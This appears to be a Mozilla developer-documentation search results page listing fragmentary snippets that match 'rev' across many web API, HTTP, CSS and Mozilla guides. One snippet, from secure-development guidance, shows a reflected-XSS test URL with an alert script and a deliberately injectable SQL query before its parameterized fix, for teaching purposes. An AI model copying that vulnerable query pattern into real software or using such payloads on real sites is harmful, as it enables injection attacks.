... this glossary provides definitions of words and abb
reviations you need to know to successfully understand and build for the web.
... 7 arpa glossary, infrastructure .arpa (address and routing parameter area) is a top-level domain used for internet infrastructure purposes, especially
reverse dns lookup (i.e., find the domain name for a given ip address).
...And 16 more matches
Client-side storage - Learn web development
p
revious overview: client-side web apis modern web browsers support a number of ways for web sites to store data on the user's computer — with the user's permission — then retrieve it when necessary.
... persisting p
revious site activity (e.g.
... storing the contents of a shopping cart from a p
revious session, remembering if a user was p
reviously logged in).
...And 15 more matches
nsIDOMEvent
everything marked as gecko 16.0 was p
reviously available in that interface.
... nseventptr getinternalnsevent(); violates the xpcom interface guidelines boolean getp
reventdefault(); deprecated since gecko 16.0 void initevent(in domstring eventtypearg, in boolean canbubblearg, in boolean cancelablearg); boolean isdispatchstopped(); violates the xpcom interface guidelines void p
reventbubble(); obsolete since gecko 24 void p
reventcapture(); obsolete since gecko 24 void p
reventdefault(); void serialize(in ipcmessageptr amsg, in boolean aserializeinterfacetype); violates the xpcom interface guidel...
... cancelable boolean used to indicate whether or not an event can have its default action p
revented.
...And 15 more matches
Linear-gradient Generator - CSS: Cascading Style Sheets
lpha"] > input { float: right; } .ui-color-picker .input[data-topic="hexa"] { width: auto; float: right; margin: 6px 8px 0 0; } .ui-color-picker .input[data-topic="hexa"] > .name { display: none; } .ui-color-picker .input[data-topic="hexa"] > input { width: 90px; height: 24px; padding: 2px 0; -moz-box-sizing: border-box; -webkit-box-sizing: border-box; box-sizing: border-box; } /* p
review color */ .ui-color-picker .p
review { width: 95px; height: 53px; margin: 5px; margin-top: 10px; border: 1px solid #ddd; background-image: url("images/alpha.png"); float: left; position: relative; } .ui-color-picker .p
review:before { height: 100%; width: 50%; left: 50%; top: 0; content: ""; background: #fff; position: absolute; z-index: 1; } .ui-color-picker .p
review-color { w...
...component('v', 'value', this.inputchangevalue.bind(this)); this.newinputcomponent('l', 'lightness', this.inputchangelightness.bind(this)); this.createalphaarea(); this.newinputcomponent('r', 'red', this.inputchangered.bind(this)); this.newinputcomponent('g', 'green', this.inputchangegreen.bind(this)); this.newinputcomponent('b', 'blue', this.inputchangeblue.bind(this)); this.createp
reviewbox(); this.createchangemodebutton(); this.newinputcomponent('alpha', 'alpha', this.inputchangealpha.bind(this)); this.newinputcomponent('hexa', 'hexa', this.inputchangehexa.bind(this)); this.setcolor(this.color); pickers[topic] = this; } /*************************************************************************/ // function for generating the color-picker /*****************...
... function createalphaarea() { var mask = document.createelement('div'); var picker = document.createelement('div'); mask.classname = 'alpha'; picker.classname = 'slider-picker'; this.alpha_mask = mask; this.alpha_picker = picker; setmousetracking(mask, this.updatealphaslider.bind(this)); mask.appendchild(picker); this.node.appendchild(mask); }; colorpicker.prototype.createp
reviewbox = function createp
reviewbox(e) { var p
review_box = document.createelement('div'); var p
review_color = document.createelement('div'); p
review_box.classname = 'p
review'; p
review_color.classname = 'p
review-color'; this.p
review_color = p
review_color; p
review_box.appendchild(p
review_color); this.node.appendchild(p
review_box); }; colorpicker.prototype.newinputcomponent = funct...
...And 15 more matches
Mozilla Development Strategies
but those might be difficult bugs (hard to reproduce crashers, big rewrites for performance, etc.) which can take several days or weeks to complete, plus the time for
reviews.
...in theory, fixes for these bugs will be quick to
review.
... smaller patches get
reviewed faster if you find that you spend a lot of time waiting for
reviews, keep in mind that patch size is not linear to time to
review.
...And 14 more matches
Handling common accessibility problems - Learn web development
p
revious overview: cross browser testing next next we turn our attention to accessibility, providing information on common problems, how to do simple testing, and how to make use of auditing/automation tools for finding accessibility issues.
...we've already hinted at some accessibility problems related to javascript, mainly in the area of semantic html — you should always use appropriate semantic html to implement functionality whe
rever it is available, for example use links and buttons as appropriate.
...if you are inventing them yourself, you need to make sure that they are keyboard accessible; if you are using some kind of third-party framework, carefully
review the options available to see how accessible they are before diving in.
...And 13 more matches
Release phase
technical and sign-off
reviews you've done some localization work and your ready for it to be released.
...do you know whether to ask for technical
review of your work or a sign-off
review?
... do you know what what exactly is
reviewed in each process?
...And 13 more matches
Using files from web applications - Web APIs
they just stop propagation of the event and p
revent the default action from occurring: function dragenter(e) { e.stoppropagation(); e.p
reventdefault(); } function dragover(e) { e.stoppropagation(); e.p
reventdefault(); } the real magic happens in the drop() function: function drop(e) { e.stoppropagation(); e.p
reventdefault(); const dt = e.datatransfer; const files = dt.files; handlefiles(files); } here, we retrieve the...
... example: showing thumbnails of user-selected images let's say you're developing the next great photo-sharing website and want to use html to display thumbnail p
reviews of images before the user actually uploads them.
... you can establish your input element or drop zone as discussed p
reviously and have them call a function such as the handlefiles() function below.
...And 13 more matches
How to Write and Land Nanojit Patches - Archive of obsolete content
but don't push that update, as that should only be done by a member of that public repo.] once it passes testing, file the patch to bugzilla (file a bug under the "nanojit" component in the "core" product) and get a
review.
... generally, patches by mozilla people should be
reviewed by adobe people and vice versa.
... once it passes
review, land it on nanojit-central, mark the bug's whiteboard as fixed-in-nanojit, and note the
revision in a comment.
...And 12 more matches
Introducing a complete toolchain - Learn web development
p
revious overview: understanding client-side tools next in the final couple of articles in the series we will solidify your tooling knowledge by walking you through the process of building up a sample case study toolchain.
... as mentioned p
reviously, github is a source code repository service that adds community features such as issue tracking, following project releases and much more.
...you will probably want to
review this part of the toolchain semi-regularly and consider if there's any upgrades or changes you should introduce, but this shouldn't be required too often.
...And 12 more matches
nsIWinTaskbar
by default, there is a single taskbar p
review per top level window (excluding pop-ups).
... this p
review is represented by an nsitaskbarwindowp
review object.
... an application can register its own "tab" p
reviews.
...And 12 more matches
Using IndexedDB - Web APIs
creating or updating the version of the database when you create a new database or increase the version number of an existing database (by specifying a higher version number than you did p
reviously, when opening a database), the onupgradeneeded event will be triggered and an idbversionchangeevent object will be passed to any onversionchange event handler set up on request.result (i.e., db in the example).
...ded for this version of the database: // this event is only implemented in recent browsers request.onupgradeneeded = function(event) { // save the idbdatabase interface var db = event.target.result; // create an objectstore for this database var objectstore = db.createobjectstore("name", { keypath: "mykey" }); }; in this case, the database will already have the object stores from the p
revious version of the database, so you do not have to create these object stores again.
... you only need to create any new object stores, or delete object stores from the p
revious version that are no longer needed.
...And 12 more matches
HTTP caching - HTTP
the performance of web sites and applications can be significantly improved by reusing p
reviously fetched resources.
...on the other side, it has to be configured properly as not all resources stay identical fo
rever: it is important to cache a resource only until it changes, not longer.
...this page will mostly talk about browser and proxy caches, but there are also gateway caches, cdn,
reverse proxy caches and load balancers that are deployed on web servers for better reliability, performance and scaling of web sites and web applications.
...And 12 more matches
HTTP Index - HTTP
cross-origin resource policy complements cross-origin read blocking (corb), which is a mechanism to p
revent some cross-origin reads by default.
... 43 http caching caching, guide, http the performance of web sites and applications can be significantly improved by reusing p
reviously fetched resources.
...such requests can be useful to validate the content of a cache, and sparing a useless control, to verify the integrity of a document, like when resuming a download, or when p
reventing to lose updates when uploading or modifying a document on the server.
...And 12 more matches
JXON - Archive of obsolete content
t_until>dec 25, 1995</discount_until> <price>42.50</price> <size description="medium"> <color_swatch image="black_cardigan.jpg">black</color_swatch> </size> </catalog_item> </product> <script type="text/javascript"><![cdata[function matchwo(a,b) { if (a < b && a < 0) { return 1; } else { return 0; } }]]></script> </catalog> first, create a dom tree like the p
revious example as described in the how to create a dom tree article.
...the object.freeze() method p
revents new properties from being added to it, p
revents existing properties from being removed and p
revents existing properties, or their enumerability, configurability, or writability, from being changed.
...the object.freeze() method p
revents new properties from being added to it, p
revents existing properties from being removed and p
revents existing properties, or their enumerability, configurability, or writability, from being changed.
...And 11 more matches
Index - Archive of obsolete content
3 a xul bestiary add-ons, extensions, needstechnical
review, xul this xulnote presents some of the key concepts and terms in the xul development environment.
... 121 findp
reviousaccesskey no summary!
... 250 ontext
revert xul attributes, xul reference no summary!
...And 11 more matches
Accessibility in React - Learn web development
p
revious overview: client-side javascript frameworks next in our final tutorial article, we'll focus on (pun intended) accessibility, including focus management in react, which can improve usability and reduce confusion for both keyboard-only and screenreader users.
...let's see this in action; put the following useeffect() call just above the return statement in the body of todo(), and pass into it a function that logs the words "side effect" to your console: useeffect(() => { console.log("side effect"); }); to illustrate the difference between the main render process and code run inside useeffect(), add another log – put this one below the p
revious addition: console.log("main render"); now, open the app in your browser.
...in order to do that, we need to be able to read the p
revious value of the isediting constant.
...And 11 more matches
Contributing to the Mozilla code base
ront-end) javascript and/or html/css firefox developers documentation devtools javascript and/or html/css contribute to devtools add-ons javascript and/or html/css contribute to add-ons firefox focus for android java contribute to firefox focus for android firefox for fire tv java contribute to firefox for fire tv firefox p
review (mobile browser, codename: "fenix") kotlin contribute to firefox p
review firefox for ios swift contribute to firefox for ios firefox focus for ios swift contribute to firefox focus for ios mozilla hubs javascript and/or html/css, vr contribute to mozilla hubs servo rust contribute to servo there are even many ways to cont...
...let the bug submitter,
reviewer, and component owner know that you'd like to work on the bug.
...here are some further resources to help: ask for help in a comment on the bug, or in #introduction:mozilla.org or #developers:mozilla.org check out https://developer.mozilla.org/docs/developer_guide and its parent document, https://developer.mozilla.org/docs/mozilla our
reviewer checklist is very useful, if you have a patch near completion, and seek a favorable
review utilize our build tool mach, its linting, static analysis, and other code checking features step 3: get your code
reviewed once you fix the bug, you can advance to having your code
reviewed.
...And 11 more matches
Index
59 js::ordinarytoprimitive jsapi reference, reference, référence(2), spidermonkey js::ordinarytoprimitive converts a javascript object to a specified type value, by the algorithm specified in es6 draft
rev 28 (2014 oct 14) 7.1.1, second algorithm.
...js_destroyruntime garbage collects and frees the memory p
reviously allocated by js_newruntime.
... 264 js_executescript jsapi reference, spidermonkey js_executescript executes a p
reviously-compiled script, script.
...And 11 more matches
Secure Development Guidelines
the following content will likely see significant
revision, though can be used as a reference for security best practices to follow when developing code for mozilla.
...is exploitable (in some browsers) with a simple request such as: http://www.victim.com?something=<script>alert('oops')</script> xss: p
revention escape all dynamic input that will be sent back to the user html encoding & → & < → < > → > " → " ' → ' url encoding % encoding java/vbscript escaping depends on the context; in a single-quoted string, escaping ' would suffice sql injection occurs when un-trusted input is mixed with a sql string sql is a ...
... could itself become an sql instruction and be used to: query data from the database (passwords) insert value into the database (a user account) change application logic based on results returned by the database sql injection: example snprintf(str, sizeof(str), "select * from account where name ='%s'", name); sqlite3_exec(db, str, null, null, null); sql injection: p
revention use parameterized queries insert a marker for every piece of dynamic content so data does not get mixed with sql instructions example: sqlite3_stmt *stmt; char *str = "select * from account where name='?'"; sqlite3_prepare_v2(db, str, strlen(str), &stmt, null); sqlite3_bind_text(stmt, 1, name, strlen(name), sqlite_transient); sqlite3_step(stmt); sqlite3_finalize(p_stmt); ...
...And 11 more matches
Touch events - Web APIs
function handlestart(evt) { evt.p
reventdefault(); console.log("touchstart."); var el = document.getelementbyid("canvas"); var ctx = el.getcontext("2d"); var touches = evt.changedtouches; for (var i = 0; i < touches.length; i++) { console.log("touchstart:" + i + "..."); ongoingtouches.push(copytouch(touches[i])); var color = colorfortouch(touches[i]); ctx.beginpath(); ctx.arc(touches[i].pagex, touches[i...
...].pagey, 4, 0, 2 * math.pi, false); // a circle at the start ctx.fillstyle = color; ctx.fill(); console.log("touchstart:" + i + "."); } } this calls event.p
reventdefault() to keep the browser from continuing to process the touch event (this also p
revents a mouse event from also being delivered).
...its responsibility in this example is to update the cached touch information and to draw a line from the p
revious position to the current position of each touch.
...And 11 more matches
Introduction to Public-Key Cryptography - Archive of obsolete content
nonrepudiation p
revents the sender of information from claiming at a later date that the information was never sent.
...certificates help p
revent the use of fake public keys for impersonation.
... for example, this might be a typical dn for an employee of example corp: uid=doe,e=doe@example.net,cn=john doe,o=example corp.,c=us the abb
reviations before each equal sign in this example have these meanings: uid: user id e: email address cn: the user's common name o: organization c: country dns may include a variety of other name-value pairs.
...And 10 more matches
Overview of Mozilla embedding APIs
being
reviewed interface definition: nsiweakreference.idl nsisimpleemunerator this interface provides a simple enumeration abstraction.
...being
reviewed interface definition: nsisimpleenumerator.idl nsiservicemanager this interface allows access to global services within mozilla.
...being
reviewed interface definition: nsimemory.idl nsidomwindow this interface is used to represent the window containing a specific document.
...And 10 more matches
nsIDOMWindowUtils
ko 9 void sendcompositionevent(in astring atype, in astring adata, in astring alocale); obsolete since gecko 38.0 void sendcontentcommandevent(in astring atype, [optional] in nsitransferable atransferable); void getclassname(in object aobj); boolean sendkeyevent(in astring atype, in long akeycode, in long acharcode, in long amodifiers, [optional] in boolean ap
reventdefault); obsolete since gecko 15.0 boolean sendkeyevent(in astring atype, in long akeycode, in long acharcode, in long amodifiers, [optional] in unsigned long aadditionalflags); deprecated since gecko 38.0 void sendmouseevent(in astring atype, in float ax, in float ay, in long abutton, in long aclickcount, in long amodifiers, [optional] in boolean aignorerootscrollframe); ...
...ong aoffset, in unsigned long alength, in long ax, in long ay); obsolete since gecko 31.0 nsiquerycontenteventresult sendquerycontentevent(in unsigned long atype, in unsigned long aoffset, in unsigned long alength, in long ax, in long ay, [optional] in unsigned long aadditionalflags); boolean sendselectionsetevent(in unsigned long aoffset, in unsigned long alength, in boolean a
reverse); obsolete since gecko 31.0 boolean sendselectionsetevent(in unsigned long aoffset, in unsigned long alength, [optional] in unsigned long aadditionalflags); void sendsimplegestureevent(in astring atype, in float ax, in float ay, in unsigned long adirection, in double adelta, in long amodifiers); void sendtextevent(in astring acompositionstring, in long afirstclau...
... this is used on mobile, for example, to p
revent attempts to render content until enough of the page has been loaded to avoid content bouncing around excessively as more content is loaded.
...And 10 more matches
Drag Operations - Web APIs
for example, setting the effectallowed property to copymove allows a copy or move operation but p
revents the user from performing a link operation.
... if you want to allow a drop, you must p
revent the default handling by cancelling both the dragenter and dragover events.
... you can do this either by returning false from attribute-defined event listeners, or by calling the event's p
reventdefault() method.
...And 10 more matches
Color picker tool - CSS: Cascading Style Sheets
lpha"] > input { float: right; } .ui-color-picker .input[data-topic="hexa"] { width: auto; float: right; margin: 6px 8px 0 0; } .ui-color-picker .input[data-topic="hexa"] > .name { display: none; } .ui-color-picker .input[data-topic="hexa"] > input { width: 90px; height: 24px; padding: 2px 0; -moz-box-sizing: border-box; -webkit-box-sizing: border-box; box-sizing: border-box; } /* p
review color */ .ui-color-picker .p
review { width: 95px; height: 53px; margin: 5px; margin-top: 10px; border: 1px solid #ddd; background-image: url("https://mdn.mozillademos.org/files/5705/alpha.png"); float: left; position: relative; } .ui-color-picker .p
review:before { height: 100%; width: 50%; left: 50%; top: 0; content: ""; background: #fff; position: absolute; z-index: 1; } .ui...
...-color-picker .p
review-color { width: 100%; height: 100%; background-color: rgba(255, 0, 0, 0.5); position: absolute; z-index: 1; } .ui-color-picker .switch_mode { width: 10px; height: 20px; position: relative; border-radius: 5px 0 0 5px; border: 1px solid #ddd; background-color: #eee; left: -12px; top: -1px; z-index: 1; transition: all 0.5s; } .ui-color-picker .switch_mode:hover { background-color: #ccc; cursor: pointer; } /* * ui component */ .ui-input-slider { height: 20px; font-family: "segoe ui", arial, helvetica, sans-serif; -moz-user-select: none; user-select: none; } .ui-input-slider * { float: left; height: 100%; line-height: 100%; } /* input slider */ .ui-input-slider > input { margin: 0; padding: 0; width: 50px; text-align: center; -moz-box-si...
...ck { display: table; } /** * container */ #container { width: 100%; -moz-box-sizing: border-box; -webkit-box-sizing: border-box; box-sizing: border-box; display: table; } /** * picker zone */ #picker { padding: 10px; width: 980px; } .ui-color-picker { padding: 3px 5px; float: left; border-color: #fff; } .ui-color-picker .switch_mode { display: none; } .ui-color-picker .p
review-color:hover { cursor: move; } /** * picker container */ #picker-samples { width: 375px; height: 114px; max-height: 218px; margin: 0 10px 0 30px; overflow: hidden; position: relative; float: left; transition: all 0.2s; } #picker-samples .sample { width: 40px; height: 40px; margin: 5px; border: 1px solid #ddd; position: absolute; float: left; transition: all 0.2s; } #picke...
...And 10 more matches
Event reference
afterprint event html5 the associated document has started printing or the print p
review has been closed.
... beforeprint event html5 the associated document is about to be printed or p
reviewed for printing.
... error speechsynthesiserro
revent web speech api an error occurs that p
revents the utterance from being successfully spoken.
...And 10 more matches
Cache-Control - HTTP
cache-control: must-
revalidate cache-control: no-cache cache-control: no-store cache-control: no-transform cache-control: public cache-control: private cache-control: proxy-
revalidate cache-control: max-age=<seconds> cache-control: s-maxage=<seconds> extension cache-control directives extension cache-control directives are not part of the core http caching standards document.
... cache-control: immutable cache-control: stale-while-
revalidate=<seconds> cache-control: stale-if-error=<seconds> directives cacheability a response is normally cached by the browser if: it has a status code of 301, 302, 307, 308, or 410 and cache-control does not have no-store, or if proxy, does not have private and authorization is unset either has a status code of 301, 302, 307, 308, or 410 or has public, max-age or s-maxage in cache-control or has expires set public the response may be stored by any cache, even if the response is normally non-cacheable.
...this directive is not effective in p
reventing caches from storing your response.
...And 10 more matches
HTTP headers - HTTP
if viewport-width occurs in a message more than once, the last value overrides all p
revious occurrences.
...if width occurs in a message more than once, the last value overrides all p
revious occurrences conditionals last-modified the last modification date of the resource, used to compare several versions of the same resource.
...this is used to update caches (for safe requests), or to p
revent to upload a new resource when one already exists.
...And 10 more matches
Developing New Mozilla Features - Archive of obsolete content
become familiar with our code
review processes.
...
reviewing the tree only at the milestone releases is risky if you're doing significant development.
... try hard to design your feature so that it can be implemented and
reviewed in manageable size patches if you can implement and submit core elements first and build on them in subsequent patches, so much the better.
...And 9 more matches
Timing element visibility with the Intersection Observer API - Web APIs
it turns out that one of the most common uses of flash or other script in advertising on the web is to record how long each ad is visible, for the purpose of billing and payment of
revenues.
...let's start with the global variables: let contentbox; let nextarticleid = 1; let visibleads = new set(); let p
reviouslyvisibleads = null; let adobserver; let refreshintervalid = 0; these are used as follows: contentbox a reference to the <main> element's htmlelement object in the dom.
... p
reviouslyvisibleads used to temporarily store the list of visible ads while the document is not visible (for example, if the user has tabbed to another page).
...And 9 more matches
<input type="file"> - HTML: Hypertext Markup Language
the string is prefixed with c:\fakepath\, to p
revent malicious software from guessing the user's file structure.
... note: capture was p
reviously a boolean attribute which, if present, requested that the device's media capture device(s) such as camera or microphone be used instead of requesting a file input.
... let's look at a more complete example: <form method="post" enctype="multipart/form-data"> <div> <label for="profile_pic">choose file to upload</label> <input type="file" id="profile_pic" name="profile_pic" accept=".jpg, .jpeg, .png"> </div> <div> <button>submit</button> </div> </form> div { margin-bottom: 10px; } this produces a similar-looking output to the p
revious example: note: you can find this example on github too — see the source code, and also see it running live.
...And 9 more matches
Client-side form validation - Learn web development
p
revious overview: forms next before submitting data to the server, it is important to ensure all required form controls are filled out, in the correct format.
...even if your form is validating correctly and p
reventing malformed input on the client-side, a malicious user can still alter the network request.
... note: there are several errors that will p
revent the form from being submitted, including a badinput, patternmismatch, rangeoverflow or rangeunderflow, stepmismatch, toolong or tooshort, typemismatch, valuemissing, or a customerror.
...And 8 more matches
Graceful asynchronous programming with Promises - Learn web development
p
revious overview: asynchronous next promises are a comparatively new feature of the javascript language that allow you to defer further actions until after a p
revious action has completed, or respond to its failure.
...there are certain steps that you have to take for your order to be successful, which doesn't really make sense to try to execute out of order, or in order but before each p
revious step has quite finished: you choose what toppings you want.
...{ return collectorder(order); }) .then(function(pizza) { eatpizza(pizza); }) .catch(failurecallback); this is much better — it is easier to see what is going on, we only need a single .catch() block to handle all the errors, it doesn't block the main thread (so we can keep playing video games while we wait for the pizza to be ready to collect), and each operation is guaranteed to wait for p
revious operations to complete before running.
...And 8 more matches
Cooperative asynchronous JavaScript: Timeouts and intervals - Learn web development
p
revious overview: asynchronous next this tutorial looks at the traditional methods javascript has available for running code asychronously after a set time period has elapsed, or at a regular interval (e.g.
... for example, you could refactor the p
revious function so that it will say hi to whatever person's name is passed to it: function sayhi(who) { alert(`hello ${who}!`); } now, you can pass the name of the person into the settimeout() call as a third parameter: let mygreeting = settimeout(sayhi, 2000, 'mr.
... clearing intervals setinterval() keeps running a task fo
rever, unless you do something about it.
...And 8 more matches
Fetching data from the server - Learn web development
p
revious overview: client-side web apis next another very common task in modern websites and applications is retrieving individual data items from the server to update sections of a webpage without having to load an entire new page.
... xmlhttprequest xmlhttprequest (which is frequently abb
reviated to xhr) is a fairly old technology now — it was invented by microsoft in the late '90s, and has been standardized across browsers for quite a long time.
...first of all, put the following beneath your p
revious code block — this is the empty shell of the function.
...And 8 more matches
A first splash into JavaScript - Learn web development
p
revious overview: first steps next now you've learned something about the theory of javascript, and what you can do with it, we are going to give you a crash course in the basic features of javascript via a completely practical tutorial.
...in subsequent articles, you'll
revisit all these features in a lot more detail!
... with that in mind, let's look at the example we'll be building up in this article, and
review the general process of dissecting it into tangible tasks.
...And 8 more matches
NSS Tools crlutil
using the certificate
revocation list management tool newsgroup: mozilla.dev.tech.crypto the certificate
revocation list (crl) management tool is a command-line utility that can list, generate, modify, or delete crls within the nss security database file(s) and list, create, modify or delete certificates entries in a particular crl.
... the key and certificate management process generally begins with creating keys in the key database, then generating and managing certificates in the certificate database(see certutil tool) and continues with certificates expiration or
revocation.
... this document discusses certificate
revocation list management.
...And 8 more matches
Web Replay
step back when paused, the
reverse step button in the debugger developer tool will step to the p
revious line executed and allow inspecting program state there.
... the tab will pause at this point and allow state to be inspected, forward/
reverse stepping, and so forth.
... the rewind infrastructure allows a replaying process to restore a p
revious state, while still maintaining communication with the chrome process.
...And 8 more matches
EventTarget.addEventListener() - Web APIs
passive a boolean that, if true, indicates that the function specified by listener will never call p
reventdefault().
... if a passive listener does call p
reventdefault(), the user agent will do nothing other than generate a console warning.
... example of options usage html <div class="outer"> outer, once & none-once <div class="middle" target="_blank"> middle, capture & none-capture <a class="inner1" href="https://www.mozilla.org" target="_blank"> inner1, passive & p
reventdefault(which is not allowed) </a> <a class="inner2" href="https://developer.mozilla.org/" target="_blank"> inner2, none-passive & p
reventdefault(not open new page) </a> </div> </div> css .outer, .middle, .inner1, .inner2 { display: block; width: 520px; padding: 15px; margin: 15px; text-decoration: none; } .outer { border: 1px solid red; color: red; } .m...
...And 8 more matches
WebGL model view projection - Web APIs
homogeneous coordinates the main line of the p
revious clip space vertex shader contained this code: gl_position = vec4(position, 1.0); the position variable was defined in the draw() method and passed in as an attribute to the shader.
... function cartesiantohomogeneous(point) let x = point[0]; let y = point[1]; let z = point[2]; return [x, y, z, 1]; } function homogeneoustocartesian(point) { let x = point[0]; let y = point[1]; let z = point[2]; let w = point[3]; return [x/w, y/w, z/w]; } as p
reviously mentioned and shown in the functions above, the w component divides the x, y, and z components.
... to start playing with this idea the p
revious example can be modified to allow for the use of the w component.
...And 8 more matches
<input>: The Input (Form Input) element - HTML: Hypertext Markup Language
a typical implementation of autocomplete simply recalls p
revious values entered in the same input field, but more complex forms of autocomplete can exist.
...by default, browsers p
revent users from entering more characters than allowed by the maxlength attribute.
...if the min attribute is valid and a non-empty value is less than the minimum allowed by the min attribute, constraint validation will p
revent form submission.
...And 8 more matches
Link types - HTML: Hypertext Markup Language
although recognized, the
rev attribute on <a>, <area> or<link> elements with a link type of made is incorrect and should be replaced by the rel attribute with this link type.
... <a>, <area> <link>, <form> canonical from wikipedia, the free encyclopedia: canonical_link_element a canonical link element is an html element that helps webmasters p
revent duplicate content issues by specifying the "canonical" or "preferred" version of a web page as part of search engine optimization.
... note: other link types related to linking resources in the same sequence are last, p
rev, next.
...And 8 more matches
A re-introduction to JavaScript (JS tutorial) - JavaScript
however, using this method p
revents some javascript engine and minifier optimizations being applied.
... a.
reverse()
reverses the array.
... it is important to note that whe
rever the rest parameter operator is placed in a function declaration it will store all arguments after its declaration, but not before.
...And 8 more matches
JSON.parse() - JavaScript
an optional
reviver function can be provided to perform a transformation on the resulting object before it is returned.
... syntax json.parse(text[,
reviver]) parameters text the string to parse as json.
...
reviver optional if a function, this prescribes how the value originally produced by parsing is transformed, before being returned.
...And 8 more matches
Appendix: What you should know about open-source software licenses - Archive of obsolete content
range of uses restricted to author unrestricted book print, publish,
revise read music record, perform,
revise listen movie distribute, screen,
revise watch software copy, distribute, modify execute licenses are a use permit in order to use (in the authorial sense) a copyrighted work, the user must either receive a use permit from the copyright holder, or must be assigned partial rights by the author.
...and essential freedoms, such as
reverse-engineering, are also restricted.
...the “no discrimination may be made based on field of endeavor” rule means that you cannot p
revent it from being used in warfare.
...And 7 more matches
Building accessible custom components in XUL - Archive of obsolete content
/column> <column flex="1"> <description value="expense"/> <label value="conference fee" flex="1"/> <label value="lodging" flex="1"/> <label value="dinner" flex="1"/> <label value="lodging" flex="1"/> <label value="breakfast" flex="1"/> <label value="lunch" flex="1"/> <label value="dinner" flex="1"/> </column> <-- several columns omitted for b
revity --> </columns> </grid> </code> now we can use css to add some minimal styling to make it actually look like a spreadsheet.
...lodging" flex="1"/> <label x2:role="wairole:gridcell" value="dinner" flex="1"/> <label x2:role="wairole:gridcell" value="lodging" flex="1"/> <label x2:role="wairole:gridcell" value="breakfast" flex="1"/> <label x2:role="wairole:gridcell" value="lunch" flex="1"/> <label x2:role="wairole:gridcell" value="dinner" flex="1"/> </column> <-- several columns omitted for b
revity --> </columns> </grid> </code> the resulting spreadsheet looks exactly the same visually, but the difference to an assistive technology is enormous.
... each label, which was p
reviously exposed as a text label, is now exposed as a cell.
...And 7 more matches
More Event Handlers - Archive of obsolete content
« p
reviousnext » in this section, the event object is examined and additional events are described.
...p
revent default action if no event handlers have been registered for an event, then after completing the capturing and bubbling phases, the element will handle the event in a default way.
...if the default action is p
revented, the popup will not be displayed.
...And 7 more matches
XBL Example - Archive of obsolete content
« p
reviousnext » this section will describe an example xbl element.
...along the bottom, we'll need a button to go the p
revious page, a label to display the current page number, and a button to go to the next page.
... example 1 : source <binding id="slideshow"> <content> <xul:vbox flex="1"> <xul:deck xbl:inherits="selectedindex" selectedindex="0" flex="1"> <children/> </xul:deck> <xul:hbox> <xul:button xbl:inherits="label=p
revioustext"/> <xul:label flex="1"/> <xul:button xbl:inherits="label=nexttext"/> </xul:hbox> </xul:vbox> </content> </binding> this binding creates the slideshow structure that we want.
...And 7 more matches
source-editor.jsm
method overview initialization and destruction void destroy(); void init(element aelement, object aconfig, function acallback); search operations number find(string astring, [optional] object options); number findnext(boolean awrap); number findp
revious(boolean awrap); event management void addeventlistener(string aeventtype, function acallback); void removeeventlistener(string aeventtype, function acallback); undo stack operations boolean canredo(); boolean canundo(); void endcompoundchange(); boolean redo(); void resetundo(); void startcompoundchange(...
... lastfind object an object describing the result of the last find operation performed using the find(), findnext(), or findp
revious() method.
... lastfound number the index of the p
revious location at which str was found, for multiple find operations (such as find() followed by findnext()).
...And 7 more matches
NSS tools : crlutil
synopsis crlutil [options] arguments description the certificate
revocation list (crl) management tool, crlutil, is a command-line utility that can list, generate, modify, or delete crls within the nss security database file(s) and list, create, modify or delete certificates entries in a particular crl.
... the key and certificate management process generally begins with creating keys in the key database, then generating and managing certificates in the certificate database(see certutil tool) and continues with certificates expiration or
revocation.
... this document discusses certificate
revocation list management.
...And 7 more matches
Event - Web APIs
animationevent audioprocessingevent beforeinputevent beforeunloadevent blobevent clipboardevent closeevent compositionevent cssfontfaceloadevent customevent devicelightevent devicemotionevent deviceorientationevent deviceproximityevent domtransactionevent dragevent editingbeforeinputevent erro
revent fetchevent focusevent gamepadevent hashchangeevent idbversionchangeevent inputevent keyboardevent mediastreamevent messageevent mouseevent mutationevent offlineaudiocompletionevent overconstrainederror pagetransitionevent paymentrequestupdateevent pointe
revent popstateevent progressevent relatedevent rtcdatachannelevent rtcidentityerro
revent rtcidentityevent rtcpeerconne...
...ctioniceevent senso
revent storageevent svgevent svgzoomevent timeevent touchevent trackevent transitionevent uievent userproximityevent webglcontextevent wheelevent constructor event() creates an event object, returning it to the caller.
...setting its value to true before returning from an event handler p
revents propagation of the event.
...And 7 more matches
Using the Permissions API - Web APIs
this object will eventually include methods for querying, requesting, and
revoking permissions, although currently it only contains permissions.query(); see below.
...the geolocation.getcurrentposition() function is then run, which prompts the user for permission; it runs the
revealposition() function if permission is granted (which shows the map), or the positiondenied() function if permission is denied (which makes the "enable geolocation" button appear).
... "denied" the "enable geolocation" button is
revealed (this code needs to be here too, in case the permission state is already set to denied for this origin when the page is first loaded).
...And 7 more matches
Using Pointer Events - Web APIs
create a canvas the touch-action property is set to none to p
revent the browser from applying its default touch behavior to the application.
...its responsibility in this example is to update the cached touch information and to draw a line from the p
revious position to the current position of each touch.
...ientx + ", " + evt.clienty + ");"); ctx.lineto(evt.clientx, evt.clienty); ctx.linewidth = 4; ctx.strokestyle = color; ctx.stroke(); ongoingtouches.splice(idx, 1, copytouch(evt)); // swap in the new touch record log("."); } else { log("can't figure out which touch to continue: idx = " + idx); } } this function looks in our cached touch information array for the p
revious information about each touch to determine the starting point for each touch's new line segment to be drawn.
...And 7 more matches
Window.open() - Web APIs
firefox (50.0.1) functions as described: from the same domain+port reopen with same name will access the p
reviously created window.
...firefox (51.) gets the handle but cannot run any element.focus() while chrome can run focus() from opener to child but not between siblings nor,
reverse, from child to opener.
... tip: note that in some browsers, users can override the windowfeatures settings and enable (or p
revent the disabling of) features position and size features windowfeatures parameter can specify the position and size of the new window.
...And 7 more matches
Border-radius generator - CSS: Cascading Style Sheets
border-radius html content <div id="container"> <div class="group section"> <div id="p
review" class="col span_12"> <div id="subject"> <div id="top-left" class="radius-container" data-x="left" data-y="top"> </div> <div id="top-right" class="radius-container" data-x="right" data-y="top"> </div> <div id="bottom-right" class="radius-container" data-x="right" data-y="bottom"> </div> <div id="bottom-left" class="radius-container" data-x="left" data-y="bottom"> </div> <div id="radiu...
...order-box; -moz-user-select: none; -webkit-user-select: none; -ms-user-select: none; user-select: none; } #container { width: 100%; -moz-box-sizing: border-box; -webkit-box-sizing: border-box; box-sizing: border-box; } /******************************************************************************/ /******************************************************************************/ /* * p
review area */ #p
review { height: 500px; border: 1px solid #ccc; border-radius: 3px; text-align: center; overflow: hidden; position: relative; } #p
review .content { width: 100%; height: 100%; display: block; } #p
